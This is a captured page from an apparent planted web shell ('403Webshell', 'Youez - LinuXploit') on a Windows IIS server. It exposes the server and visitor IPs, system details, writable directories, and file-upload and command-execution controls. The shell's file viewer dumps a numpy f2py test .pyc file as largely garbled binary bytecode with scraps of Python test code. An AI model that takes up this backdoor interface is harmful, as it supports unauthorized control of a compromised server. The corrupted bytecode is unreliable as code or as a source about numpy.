403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/numpy/f2py/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/numpy/f2py/tests/__pycache__/test_crackfortran.cpython-312.pyc
�

	�g�@���ddlZddlZddlZddlZddlmZmZddlm	Z	ddl
mZddlZddl
Z
ddlZGd�de	j�ZGd�d	�ZGd
�d�ZGd�d
e	j�ZGd�de	j�ZGd�d�ZGd�de	j�ZGd�d�ZGd�de	j�ZGd�de	j�Zej4j6Gd�de	j��ZGd�d�ZGd�de	j�ZGd �d!e	j�ZGd"�d#�Z Gd$�d%�Z!ej4j6Gd&�d'e	j��Z"y)(�N)�markinnerspaces�nameargspattern�)�util)�crackfortranc�>�eZdZejdddd�gZd�Zy)�TestNoSpace�tests�srcrz	gh15035.fc��tjgd�tj��}tjgd�tj��}|jj	|�tj
||dz�sJ�|jj
||g�tj
||dz�sJ�|jjd�dk(sJ�y)N�r��)�dtyper�23�2)�np�array�float64�module�subb�allclose�subc�t0)�self�k�ws   �DC:\Python312\Lib\site-packages\numpy/f2py/tests/test_crackfortran.py�test_modulezTestNoSpace.test_modules����H�H�Y�b�j�j�1���H�H�Y�b�j�j�1����������{�{�1�a�!�e�$�$�$������!�Q�� ��{�{�1�a�!�e�$�$�$��{�{�~�~�d�#�t�+�+�+�N)�__name__�
__module__�__qualname__r�getpath�sourcesr�r rr	r	
s"���t�|�|�G�U�N�K�H�I�G�,r r	c�$�eZdZd�Zd�Zd�Zd�Zy)�TestPublicPrivatec�P�tjdddd�}tjt|�g�}t	|�dk(sJ�|d}d|dd	d
vsJ�d|dd	d
vsJ�d|ddd
vsJ�d|ddd
vsJ�d|dd
d
vsJ�d|dd
d
vsJ�y)Nr
rrzprivatemod.f90rr�private�vars�a�attrspec�public�b�seta�rr$r�str�len)r�fpath�mods   r�test_defaultPrivatez%TestPublicPrivate.test_defaultPrivates������W�e�^�=M�N���'�'��U���5���3�x�1�}��}��!�f���C��K��,�Z�8�8�8�8��s�6�{�3�/�
�;�;�;�;��C��K��,�Z�8�8�8�8��s�6�{�3�/�
�;�;�;�;���F��F� 3�J� ?�?�?�?��3�v�;�v�.�z�:�:�:�:r c��tjdddd�}tjt|�g�}t	|�dk(sJ�|d}d|dd	d
vsJ�d|dd	d
vsJ�d|ddd
vsJ�d|ddd
vsJ�y)
Nr
rrz
publicmod.f90rrr*r+r,r-r.r0r1�r�tmp_pathr4r5s    r�test_defaultPublicz$TestPublicPrivate.test_defaultPublic)s������W�e�^�_�M���'�'��U���5���3�x�1�}��}��!�f���C��K��,�Z�8�8�8�8��s�6�{�3�/�
�;�;�;�;���F��F� 3�J� ?�?�?�?��3�v�;�v�.�z�:�:�:�:r c�0�tjdddd�}tjt|�g�}t	|�dk(sJ�|dd}t|dd	�d
dhk(sJ�t|dd	�d
dhk(sJ�t|dd	�d
hk(sJ�y)Nr
rrzaccesstype.f90rrr+r,r-r*zbind(c)�b_r.�c)rr$rr2r3�set)rr9r4r5�tts     r�test_access_typez"TestPublicPrivate.test_access_type3s������W�e�^�=M�N���'�'��U���5���3�x�1�}��}�
��V�F�^���2�c�7�:�&�'�I�y�+A�A�A�A��2�d�8�J�'�(�X�y�,A�A�A�A��2�c�7�:�&�'�H�:�5�5�5r c���tjdddd�}tjt|�g�}t	|�dk(sJ�tj
|�}d|vsJ�y)Nr
rrzgh23879.f90r�bar)rr$rr2r3�
crack2fortran)rr9r4r5�pyfs     r�test_nowrap_private_proceeduresz1TestPublicPrivate.test_nowrap_private_proceedures<sZ�����W�e�^�]�K���'�'��U���5���3�x�1�}��}��(�(��-���C���r N)r!r"r#r6r:r@rEr&r rr(r(s��
;�;�6� r r(c��eZdZd�Zd�Zy)�TestModuleProcedurec���tjdddd�}tjt|�g�}t	|�dk(sJ�|d}d|vrt	|d�dk(sJ�|ddd	d
k(sJ�d|ddvsJ�|ddddd
gk(sJ�|ddd	dk(sJ�d|ddvsJ�|ddddgk(sJ�|ddd	dk(sJ�d|ddvsJ�|dddddgk(sJ�y)Nr
rrz
operators.f90rr�body�	�namezoperator(.item.)�
implementedby�item_int�	item_realrzoperator(==)�items_are_equalrz
assignment(=)�get_int�get_realr1r8s    r�test_moduleOperatorsz(TestModuleProcedure.test_moduleOperatorsDsc�����W�e�^�_�M���'�'��U���5���3�x�1�}��}��!�f����}��S��[�!1�Q�!6�6�6��6�{�1�~�f�%�);�;�;�;��#�f�+�a�.�0�0�0��6�{�1�~�o�.�
��%�&�	&�&��6�{�1�~�f�%��7�7�7��#�f�+�a�.�0�0�0��6�{�1�~�o�.�3D�2E�E�E�E��6�{�1�~�f�%��8�8�8��#�f�+�a�.�0�0�0��6�{�1�~�o�.�
�
�#�$�	$�$r c��tjdddd�}tjt|�g�}t	|�dk(sJ�|d}|ddd	d
gk(sJ�|ddd	dgk(sJ�|dd
d	dgk(sJ�y)Nr
rrzpubprivmod.f90rrr+r,r-r*r/r.r0r1r8s    r�test_notPublicPrivatez)TestModuleProcedure.test_notPublicPrivateVs������W�e�^�=M�N���'�'��U���5���3�x�1�}��}��!�f���6�{�3��
�+�	�}�<�<�<��6�{�3��
�+��|�;�;�;��6�{�6�"�:�.�8�,�>�>�>r N)r!r"r#rRrTr&r rrGrGCs��$�$?r rGc�D�eZdZejdddd�gZd�Zd�Zy)�TestExternalr
rrz	gh17859.fc�N�d�}|jj|�}|dk(sJ�y)Nc��|dzS�N�{r&��xs r�incrz5TestExternal.test_external_as_statement.<locals>.incre����s�7�Nr rZ)r�external_as_statement�rr]�rs   r�test_external_as_statementz'TestExternal.test_external_as_statementd�(��	�
�K�K�-�-�d�3���C�x��xr c�N�d�}|jj|�}|dk(sJ�y)Nc��|dzSrYr&r[s rr]z5TestExternal.test_external_as_attribute.<locals>.incrlr^r rZ)r�external_as_attributer`s   r�test_external_as_attributez'TestExternal.test_external_as_attributekrcr N)r!r"r#rr$r%rbrgr&r rrVrV`s%���t�|�|�G�U�N�K�H�I�G��r rVc�>�eZdZejdddd�gZd�Zy)�TestCrackFortranr
rrz
gh2848.f90c�J�|jjdd�}|dk(sJ�y)Nrr�rr)r�gh2848)rras  r�test_gh2848zTestCrackFortran.test_gh2848ws$���K�K���q�!�$���F�{��{r N)r!r"r#rr$r%rmr&r rririss ���t�|�|�G�U�N�L�I�J�G�r ric�$�eZdZd�Zd�Zd�Zd�Zy)�TestMarkinnerspacesc�:�gd�}|D]}t|�|k(r�J�y)N)za z aza b cz'abcdefghij'�r)r�	test_list�is   r�test_do_not_touch_normal_spacesz3TestMarkinnerspaces.test_do_not_touch_normal_spacess)��9�	��	+�A�"�1�%��*�*�*�	+r c�D�td�dk(sJ�td�dk(sJ�y)Nz
a 'b c' \' \'za 'b@_@c' \' \'z
a "b c" \" \"za "b@_@c" \" \"rq�rs r�test_one_relevant_spacez+TestMarkinnerspaces.test_one_relevant_space�s,���0�1�5H�H�H�H��/�0�4F�F�F�Fr c�D�td�dk(sJ�td�dk(sJ�y)Nza 'b c" " d' eza 'b@_@c"@_@"@_@d' eza "b c' ' d" eza "b@_@c'@_@'@_@d" erqrvs r�test_ignore_inner_quotesz,TestMarkinnerspaces.test_ignore_inner_quotes�s,���1�2�6N�N�N�N��1�2�6N�N�N�Nr c�D�td�dk(sJ�td�dk(sJ�y)Nz
a 'b c' 'd e'za 'b@_@c' 'd@_@e'z
a "b c" "d e"za "b@_@c" "d@_@e"rqrvs r�test_multiple_relevant_spacesz1TestMarkinnerspaces.test_multiple_relevant_spaces�s+����/�3F�F�F�F��/�0�4H�H�H�Hr N)r!r"r#rtrwryr{r&r rroro|s��+�
G�O�Ir roc	��eZdZdZdZejd�Zgd�ZdgZ	ee	zZ
dZee
�D]d\Z
Zejd�D��cgc]}d|vr|jd�d	nd
��c}}Zeej#e
edj%e���z
Z�fej(j+d
e
�ej(j,d���Zej(j+d
e
�d��Zycc}}w)�TestDimSpeca�This test suite tests various expressions that are used as dimension
    specifications.

    There exists two usage cases where analyzing dimensions
    specifications are important.

    In the first case, the size of output arrays must be defined based
    on the inputs to a Fortran function. Because Fortran supports
    arbitrary bases for indexing, for instance, `arr(lower:upper)`,
    f2py has to evaluate an expression `upper - lower + 1` where
    `lower` and `upper` are arbitrary expressions of input parameters.
    The evaluation is performed in C, so f2py has to translate Fortran
    expressions to valid C expressions (an alternative approach is
    that a developer specifies the corresponding C expressions in a
    .pyf file).

    In the second case, when user provides an input array with a given
    size but some hidden parameters used in dimensions specifications
    need to be determined based on the input array size. This is a
    harder problem because f2py has to solve the inverse problem: find
    a parameter `p` such that `upper(p) - lower(p) + 1` equals to the
    size of input array. In the case when this equation cannot be
    solved (e.g. because the input array size is wrong), raise an
    error before calling the Fortran function (that otherwise would
    likely crash Python process when the size of input arrays is
    wrong). f2py currently supports this case only when the equation
    is linear with respect to unknown parameter.

    z.f90a

      function get_arr_size_{count}(a, n) result (length)
        integer, intent(in) :: n
        integer, dimension({dimspec}), intent(out) :: a
        integer length
        length = size(a)
      end function

      subroutine get_inv_arr_size_{count}(a, n)
        integer :: n
        ! the value of n is computed in f2py wrapper
        !f2py intent(out) n
        integer, dimension({dimspec}), intent(in) :: a
        if (a({first}).gt.0) then
          ! print*, "a=", a
        endif
      end subroutine
    )�nz2*nz2:nzn/2z5 - n/2z3*n:20zn*(n+1):n*(n+5)z2*n, nz
2*n:3*n*n+2*n��,�:r�1z, )�count�dimspec�firstr�c��|jj|�}t|jd|���}dD]}||�\}}|j|k(r�J�y)N�
get_arr_size_�rrr��)�all_dimspecs�index�getattrr�size)rr�r��get_arr_sizer~�szr,s       r�test_array_sizezTestDimSpec.test_array_size�s]���!�!�'�'��0���t�{�{�m�E�7�,C�D�� �	 �A� ��O�E�B���6�6�R�<��<�	 r c�8�|jj|�}t|jd|���}t|jd|���}dD]H}||�\}}||jvr
|||�}n||�}||�\}	}
||	k(r�?J||||	f��y)Nr��get_inv_arr_size_r�)r�r�r�r�nonlinear_dimspecs)rr�r�r��get_inv_arr_sizer~r�r,�n1�sz1�_s           r�test_inv_array_sizezTestDimSpec.test_inv_array_size�s����!�!�'�'��0���t�{�{�m�E�7�,C�D��"�4�;�;�2C�E�7�0K�L�� �	/�A� ��O�E�B���$�1�1�1�&�a��+��&�a�(��"�"�%�F�C����9�.�q�"�b�#�.�.�9�	/r N)r!r"r#�__doc__�suffix�textwrap�dedent�
code_template�linear_dimspecsr�r��code�	enumerater�r��split�lst�format�join�pytest�mark�parametrize�slowr�r�)�.0�ds00rr}r}�s���<�F�#�H�O�O�%�	�M�&�O�*�*��"�%7�7�L�
�D�#�L�1�
���w�?F�}�}�S�?Q�R�!�3�!�8������Q���4�R���
�$�$����)�)�C�.�%�
�	
��
��[�[���Y��5��[�[��� ��6� ��[�[���Y��5�/�6�/��'Ss�!C6r}c��eZdZd�Zy)�TestModuleDeclarationc��tjdddd�}tjt|�g�}t	|�dk(sJ�|dddd	d
k(sJ�y)Nr
rrzfoo_deps.f90rrr+�abar�=zbar('abar')r1r8s    r�test_dependenciesz'TestModuleDeclaration.test_dependencies�s\�����W�e�^�^�L���'�'��U���5���3�x�1�}��}��1�v�f�~�f�%�c�*�m�;�;�;r N)r!r"r#r�r&r rr�r��s��<r r�c��eZdZd�Zy)�TestEvalc��tj}|di�dk(sJ�|di�dk(sJ�|dtdd���dk(sJ�|d	i�d
k(sJ�y)N�123z12 + 3�15za + brr)r,r/�3z"123"z'123')r�_eval_scalar�dict)r�eval_scalars  r�test_eval_scalarzTestEval.test_eval_scalarsg��"�/�/���5�"�%��.�.�.��8�R�(�D�0�0�0��7�D�1��N�3�s�:�:�:��7�B�'�7�2�2�2r N)r!r"r#r�r&r rr�r�s��3r r�c�T�eZdZejjdgd��d��Zy)�TestFortranReader�encoding)�asciizutf-8zutf-16zutf-32c���|d|�d�z}|jd|��5}|jd�ddd�tjt|�g�}|dddk(sJ�y#1swY�6xYw)	N�input_with_z
_encoding.f90r)r�zd
                     subroutine foo()
                     end subroutine foo
                     rrK�foo)�open�writerr2)rr9r��f_path�ffr5s      r�test_input_encodingz%TestFortranReader.test_input_encodings}���k�(��=�A�A��
�[�[��x�[�
0�	�B��H�H��
�	�
�'�'��V��
�6���1�v�f�~��&�&�&�
	�	�s�A$�$A-N)r!r"r#r�r�r�r�r&r rr�r�
s*���[�[���Z�C�E�	'�E�	'r r�c��eZdZejdddd�gZejje	jjd�dud��d	��Zy)
�TestUnicodeCommentr
rrzunicode_comment.f90�charset_normalizerNz7test requires charset_normalizer which is not installed)�reasonc�:�|jjd�y)Nr)rr�rvs r�test_encoding_commentz(TestUnicodeComment.test_encoding_comments��
	
������r )r!r"r#rr$r%r�r��skipif�	importlib�	find_specr�r&r rr�r�s]���t�|�|�G�U�N�<Q�R�S�G��[�[���	���	!�	!�"6�	7�4�	?�H����	�r r�c�V�eZdZejjdggd��d��Zy)�TestNameArgsPatternBacktracking�	adversary))z
@)@bind@(@)z#@)@bind                         @(@)z@)@bind foo bar baz@(@c��d}d}d\}}t||�D]�}||z}t|�D]}}g}	t|�D]Q}tj�}
tj|�}|	jtj�|
z
��St
j|	�dkr�}J�rJ�|dz}tj|�r��J�y)zPaddress ReDOS vulnerability:
        https://github.com/numpy/numpy/issues/23338�r�)��g�������?z@)@N)�range�time�perf_counterr�search�appendr�median)
rr��trials_per_batch�batches_per_regex�
start_reps�end_reps�ii�repeated_adversaryr��timesr�mtch�good_version_of_adversarys
             r�!test_nameargspattern_backtrackingzATestNameArgsPatternBacktracking.test_nameargspattern_backtracking&s�������%��
�H��
�H�-�	E�B�!*�R����,�-�
.�����/�0�;�A��*�*�,�B�*�1�1�2D�E�D��L�L��!2�!2�!4�r�!9�:�;��y�y��'�#�-�-�-�
.��O�8�);�U�(B�%�"�)�)�*C�D�D�D�'	Er N)r!r"r#r�r�r�r�r&r rr�r�%s/���[�[���	�
�	
��E��Er r�c�p�eZdZejdddd�gZejjd��Z	y)�TestFunctionReturnr
rrzgh23598.f90c�F�|jjdd�dk(sJ�y)Nrr�r�)r�
intproductrvs r�test_function_rettypez(TestFunctionReturn.test_function_rettypeLs#���{�{�%�%�a��+�r�1�1�1r N)
r!r"r#rr$r%r�r�r�r�r&r rr�r�Is7���t�|�|�G�U�N�M�J�K�G��[�[���2��2r r�c��eZdZd�Zy)�TestFortranGroupCountersc��tjdddd�}	tjt|�g�y#t$r}Jd|����d}~wwxYw)Nr
rrz	gh23533.fz0'crackfortran.crackfortran' raised an exception )rr$rr2�	Exception)rr4�excs   r�test_end_if_commentz,TestFortranGroupCounters.test_end_if_commentSsT�����W�e�^�[�I��	S��%�%�s�5�z�l�3���	S�R�L�S�E�R�R�5��	S�s�:�	A�
A
�
AN)r!r"r#r�r&r rr�r�Rs��Sr r�c��eZdZd�Zy)�TestF77CommonBlockReaderc��tjdddd�}tjt	j
��5}t
jt|�g�}ddd�dj�vsJ�y#1swY�xYw)Nr
rrzgh22648.pyf�Mismatch)	rr$�
contextlib�redirect_stdout�io�StringIOrr2�getvalue)rr9r4�stdout_f2pyr5s     r�test_gh22648z%TestF77CommonBlockReader.test_gh22648]sn�����W�e�^�]�K��
�
'�
'����
�
6�	:�+��+�+�S��Z�L�9�C�	:���!5�!5�!7�7�7�7�	:�	:�s� A=�=BN)r!r"r#r�r&r rr�r�\s��8r r�c�*�eZdZd�Zd�Zd�Zd�Zd�Zy)�
TestParamEvalc���d}ttjtjtj��}dddd�dddd	�d
�}d}tj
||||��}|d
dd�k(sJ�y)Nz(/3.14, 4./)��kind�selected_int_kind�selected_real_kind�rr�rkrrr
)�dp�
intparamarray�nestedz(2)�r�g��Q�	@g@�r�r�
_kind_func�_selected_int_kind_func�_selected_real_kind_func�
param_eval�r�v�g_params�paramsr��rets      r�test_param_eval_nestedz$TestParamEval.test_param_eval_nestedesv�����\�4�4�".�"F�"F�#/�#H�#H�J����a�L� !�a�A�.�0�����%�%�a��6�7�K���$�3�'�'�'�'r c���d}ttjtjtj��}i}d}tj
||||��}|dddd�k(sJ�y)	Nz
(/ 6, 3, 1 /)rz(-1:1)r	�rr)���rrr
rs      r�!test_param_eval_nonstandard_rangez/TestParamEval.test_param_eval_nonstandard_rangepsc�����\�4�4�".�"F�"F�#/�#H�#H�J�������%�%�a��6�7�K���1��q�)�)�)�)r c���d}ttjtjtj��}i}d}tjttj||||��y)N�6rrr	�	r�rrrr
r��raises�
ValueErrorr�rrrrr�s     r�test_param_eval_empty_rangez)TestParamEval.test_param_eval_empty_rangezsW�����\�4�4�".�"F�"F�#/�#H�#H�J�������
�
�j�,�"9�"9�1�h��%�	'r c��d}ttjtjtj��}i}tj
|||d��}|dk(sJ�y)Nz3.14_dprr	r
)rrrrrs     r�test_param_eval_non_array_paramz-TestParamEval.test_param_eval_non_array_param�sW�����\�4�4�".�"F�"F�#/�#H�#H�J�����%�%�a��6�4�H���i���r c���d}ttjtjtj��}i}d}tjttj||||��y)Nz*reshape((/ (i, i=1, 250) /), (/5, 10, 5/))rz(0:4, 3:12, 5)r	rrs     r�test_param_eval_too_many_dimsz+TestParamEval.test_param_eval_too_many_dims�sW��8���\�4�4�".�"F�"F�#/�#H�#H�J����"���
�
�j�,�"9�"9�1�h��%�	'r N)r!r"r#rrrr!r#r&r rr�r�cs��	(�*�'� �'r r�c�D�eZdZejdddd�gZdgZd�Zy)�TestLowerF2PYDirectiver
rrzgh27697.f90z--lowerc��tjtd��5}|jjjd�ddd�y#1swYyxYw)Nzaborting directly)�match)r�rrr�utils�my_abort)rr�s  r�test_no_lower_failz)TestLowerF2PYDirective.test_no_lower_fail�sA��
�]�]�:�-@�
A�	<�S��K�K���&�&�':�;�	<�	<�	<�s�&A�AN)r!r"r#rr$r%�optionsr*r&r rr%r%�s'���t�|�|�G�U�N�M�J�K�G��k�G�<r r%)#r�r�r��numpyr�numpy.f2py.crackfortranrrrr�
numpy.f2pyrr�r�r��F2PyTestr	r(rGrVriror}r�r�r�r�r�r�r�r�r�r�r�r%r&r r�<module>r0sG����
��D��#���	�,�$�-�-�,�% �% �N?�?�:�4�=�=��&�t�}�}��I�I�*d/�$�-�-�d/�N<�<�3�t�}�}�3�'��
�
�'�������������"E�"E�H2����2�S�t�}�}�S�8�8�2'�2'�h�����<�T�]�]�<��<r 

Youez - 2016 - github.com/yon3zu
LinuXploit